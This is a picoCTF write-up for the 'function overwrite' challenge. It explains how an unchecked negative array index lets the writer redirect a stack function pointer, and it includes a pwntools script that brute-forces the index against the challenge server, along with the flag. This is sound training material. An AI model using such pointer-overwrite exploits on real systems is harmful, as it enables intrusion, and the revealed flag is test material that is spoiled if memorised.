Category: Binary Exploitation
function overwrite (400 points)
Story telling class 2/2
This is a classic example of why you should always perform sanity checks regarding the signing of your numbers when accessing an array. Else, bad things may happen.
The program we’re presented with here is a simple C program. Two functions are specified (besides main()); these are hard_checker and easy_checker. In the functions, it checks if the string we entered previously, when all the ascii values of each character are added together, equals 13371337 and 1337 respectively. If so, it prints out the flag.
So, for example, “AA” would result in 130, since the ascii value of uppercase A is 65, and 65+65 is 130.
The issue here is that, if we run this normally, 13371337 is an astronomically large number. There’s no way we’re going to be able to craft a string that will add up to that number. So, in order to actually print the flag, we need to somehow make it so we go to the easy_checker function instead. Since, 1337 is a much more reasonable goal.
This is going to be tough since there’s no buffer overflow vulnerability. The only possible attack vectors we have to work with is the string we enter, and the two numbers we enter at the end. The first number (which must be less than 10) is used to specify a specific value in an array fun (initialized to all zeroes). The second number is added to the value being referenced. So, if we specify 2 and 6, fun[2] = 0+6
. For example.
Sooo…what can we do? Well, simple. We can’t craft a positive number greater than 10….but what about a negative number? Negative numbers aren’t checked for here, meaning that we essentially have write access to the stack provided the first number specified is below 0.
Considering the pointer to the hard_checker function is…well..a pointer (which has a value set to a numeric memory address), what would happen if we somehow managed to create our first number so that we can modify it’s stack value? We can’t directly specify the value we want it to be (which would be the address of easy_checker), but we can add to the address. Or subtract, provided our second number is negative.
If we run objdump
on the binary given to us by the challenge, we can see that the address of hard_checker is 0x8049436, and the address of easy_checker is 0x80492fc. Converting the hex values to integer values, we get 134517814 and 134517500. The pointer is already initialized to the first memory address (since, by default, it’s calling hard_checker), meaning that in order to set it to easy_checker, we need to decrement the value by 314 (since 134517814-314 is 134517500).
This means that our second number, for certain, is -314 (since, again, positive+negative is the same as positive-positive). We, however, don’t know the first number (I.E: where the pointer even is). This should be relatively straightforward to bruteforce though.
Now, finally, we need to craft a string that, assuming we do get to easy_checker, will actually pass the check. I did this manually via trial-and-error, and came up with zzzzzzzzzzu.
All we need to do now is construct the script which performs the bruteforcing and we’re good-to-go.
Script
#!/usr/bin/python3
from pwn import *
from itertools import product
import string
context.log_level = "error"
#define the correct story value, since in easy_checker, in order to get the flag we must submit a story where all the chars added together == 1337
#I did this by hand, but here is the payload that all sums up to 1337
correct_story = "zzzzzzzzzzu"
#we are going to accomplish this by essentially bruteforcing the correct index, since all the other variables are pretty much set
#once we get there, we will subtract 314 (by sending -314 as the second number) so the target pointer points to easy_checker rather than hard_checker
#this is because the memory address of hard_checker is 314 higher than the memory address of easy_checker
for i in range(0, -1000, -1):
#notify status
print(f"\rCurrently on {i}...", end="")
#open up a session
#with process(["./vuln"]) as conn:
with remote("saturn.picoctf.net",59892) as conn:
#wait for the prompt, then send our correct story
conn.recvuntil(b">> ")
conn.sendline(correct_story.encode("utf-8"))
#send our numbers
conn.recvline()
conn.sendline(str(i).encode("ascii"))
conn.sendline(b"-314")
#receive all the data and check if it starts with the flag prefix
#if it does, it basically means we won
data_rcv = conn.recvall()
if b"picoCTF" in data_rcv:
print(data_rcv)
exit()
#i actually can't believe this worked
#picoCTF{0v3rwrit1ng_P01nt3rs_85b55543}